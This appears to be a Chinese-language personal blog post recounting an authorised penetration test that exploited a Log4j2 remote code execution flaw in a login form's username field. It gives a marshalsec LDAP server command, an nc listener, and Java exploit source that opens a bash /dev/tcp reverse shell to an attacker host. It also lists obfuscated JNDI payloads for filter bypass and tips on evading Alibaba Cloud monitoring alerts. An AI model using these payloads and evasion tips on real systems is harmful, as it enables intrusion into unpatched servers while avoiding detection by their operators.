Tommonkey

All greatness comes from a brave beginning

0%

遇到Log4j2 RCE漏洞

根据给出的目标,星期一星期二开始了漫长的资产信息收集,比较幸运在星期三发现一个高利用的站点

声明:本次测试以获得合法授权前提下进行

1-1
这个站点在我打开的看见的第一眼就给我有戏感觉。事实确实如此:在登录的POST数据包请求中的username字段存在log4j2 rce,一开始我也是把log4j2的poc插满了整个数据包的字段,发送后检测到dnslog上有动静。在利用dnslog ping的特性准确的定位了username字段值。
1-2.png

思路

接下来的操作就跟网上主流的操作不太一样了,这里我采用的思路时通过marshalsec架起一个ldap服务,端口时1389。在用java编写好的exp编译成.class文件,上传到攻击服务器,并在此文件目录下开启web服务。在再攻击服务器上起一个nc -lvvp port 进行反弹shell的监听。
为什么不上传木马进行getshell?
因为这是台阿里云的服务器,上传木马的话可以会引起阿里云的短信通知告警…………如果你对你的马有把握能不引起阿里云监控程序的告警,当我没说:) 而通过反弹shell的方式是又内向外发起连接,所有比较安全,可以躲过阿里云vps上的监控服务。

准备阶段

1
2
3
4
5
6
7
8
# marshalsec起服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击服务器IP:web服务开放端口/#Exploit"

# 开启web服务
python3 -m http.serve 9000

# 开启NC监听端口
nc -lvvp 8888

java exp 文件,根据目标修改一下,再编译成.class文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class log4j2_exp {
public log4j2_exp(){
try{
// 要执行的命令
String[] commands = {"bash","-c","exec 5<>/dev/tcp/攻击服务器IP/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}

public static void main(String[] argv) {
log4j2_exp e = new log4j2_exp();
}
}

实施阶段

编译
1-3
上传至攻击服务器,并开启web服务
1-4
burp发送exp,服务器收到反弹shell
1-5
1-6
后续就是什么权限维持了,能服务器保持多久的联系,全凭个人本事了……

tips

互联网上收集的一些绕过姿势

1
2
3
4
5
6
${jndi:ldap://malicious-ldap-server.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://example.com/a}
${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com}
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a}
${jndi:ldap:192.168.1.1/a} ${jndi:ldap:192.168.1.1:/a} 注意此时需要ldap服务端口为1389
…………

OVER~

奖励作者买杯可乐?